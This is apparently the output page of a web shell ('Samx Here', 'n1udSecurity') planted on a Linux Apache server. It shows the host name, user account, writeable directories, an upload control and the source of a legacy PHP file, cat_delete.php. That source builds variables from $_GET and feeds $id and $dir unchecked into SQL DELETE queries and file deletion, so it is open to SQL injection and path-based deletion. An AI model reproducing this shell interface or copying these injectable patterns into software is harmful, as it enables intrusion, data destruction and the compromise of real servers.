Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/aftrn/banque_HS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/aftrn/banque_HS/cat_delete.php
<?php
session_start();
/***************************************************************************
 *
 *   date                 : Septembre 2002
 *   copyright            : (c) 2002 B&eacute;atrice Arnou
 *   email                : bea@cartables.net
 *
 *   Tout usage de ces scripts doit faire l'objet d'une demande d'autorisation 
 *   et ces mentions ne doivent pas &ecirc;tre retir&eacute;es ou modifi&eacute;es.
 *
 ***************************************************************************/

define(IN_AFT, true);

require "lib.php";

if (isset($_SESSION['infos'])) {
  extract($_SESSION['infos']);
}
else
{
  Header("Location:login.php\n\n");
}

if ($Sessusernom != "Admin") {
  die("Allons bon... Vous ne devriez pas &ecirc;tre l&agrave; !!!!");
}

hautpage();

// R&eacute;cup&eacute;ration des variables
while (list($key, $val) = each($_GET))  {$$key=$val;}

// On supprime d'abord physiquement les fichiers attach&eacute;s &agrave; la cat&eacute;gorie
$delfich = mysqli_query($conx,"select categorie,nomcourt from fichiers where categorie = '$id'");
while ($row = mysqli_fetch_array($delfich, MYSQLI_ASSOC)) {
  @unlink(FICHIERS."/$dir/$nomcourt");
}

// On supprime le dossier correspondant
@rmdir(FICHIERS."/$dir");

// On supprime logiquement les enregistrements
$resfich = mysqli_query($conx,"delete from fichiers where categorie = '$id'");

// On supprime la cat&eacute;gorie
$rescat  = mysqli_query($conx,"delete from categories where id = '$id'");

if ($resfich && $rescat) {
  ok("La cat&eacute;gorie $nom a &eacute;t&eacute; supprim&eacute;e.","Continuer","cat_admin.php");
} else {
  erreur("Probl&egrave;me ind&eacute;termin&eacute;... Recommencez plus tard ou contactez le responsable du site","Retour","index.php",EMAIL_CONTACT,"[".NOMDUSITECOURT."] Erreur suppression de cat&eacute;gorie");
}
baspage();

?>

SAMX